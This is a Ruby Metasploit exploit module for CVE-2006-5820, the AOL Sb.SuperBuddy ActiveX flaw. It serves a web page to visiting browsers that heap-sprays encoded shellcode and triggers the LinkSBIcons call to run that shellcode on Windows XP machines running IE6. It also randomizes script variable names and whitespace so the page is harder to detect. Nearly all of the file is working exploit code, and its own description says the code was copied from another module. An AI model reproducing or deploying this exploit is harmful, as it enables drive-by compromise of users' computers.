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require 'msf/core'
module Msf
class Exploits::Windows::Browser::AOL_SuperBuddy_LinkSBIcons < Msf::Exploit::Remote
include Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'AOL Sb.Superbuddy vulnerability',
'Description' => %q{
This module exploits a flaw in AOL Sb.SuperBuddy. We stole this code from a pre-existing metasploit module.
},
'License' => MSF_LICENSE,
'Author' =>
[
'kradchad',
'leetpete'
],
'Version' => '0.1',
'References' =>
[
[ 'CVE', 'CVE-2006-5820']
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
['Windows XP SP0-SP2 / IE 6.0SP1 English', {'Ret' => 0x0c0c0c0c} ]
],
'DefaultTarget' => 0))
end
def autofilter
false
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Get a unicode friendly version of the return address
addr_word = [target.ret].pack('V').unpack('H*')[0][0,4]
# Randomize the javascript variable names
var_buffer = rand_text_alpha(rand(30)+2)
var_shellcode = rand_text_alpha(rand(30)+2)
var_unescape = rand_text_alpha(rand(30)+2)
var_x = rand_text_alpha(rand(30)+2)
var_i = rand_text_alpha(rand(30)+2)
var_tic = rand_text_alpha(rand(30)+2)
var_toc = rand_text_alpha(rand(30)+2)
# Randomize HTML data
html = rand_text_alpha(rand(30)+2)
# Build out the message
content = %Q|
<html>
<head>
<script>
try {
var #{var_unescape} = unescape ;
var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ;
var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ;
while (#{var_buffer}.length <= 0x100000) #{var_buffer}+=#{var_buffer} ;
var #{var_x} = new Array() ;
for ( var #{var_i} =0 ; #{var_i} < 120 ; #{var_i}++ ) {
#{var_x}[ #{var_i} ] =
#{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} ;
}
var #{var_tic} = new ActiveXObject( 'Sb.SuperBuddy.1' );
try { #{var_tic}.LinkSBIcons( #{target.ret} ) ; } catch( e ) { }
} catch( e ) { window.location = 'about:blank' ; }
</script>
</head>
<body>
#{html}
</body>
</html>
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# Randomize the whitespace in the document
content.gsub!(/\s+/) do |s|
len = rand(100)+2
set = "\x09\x20\x0d\x0a"
buf = ''
while (buf.length < len)
buf << set[rand(set.length)].chr
end
buf
end
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
end
end
end
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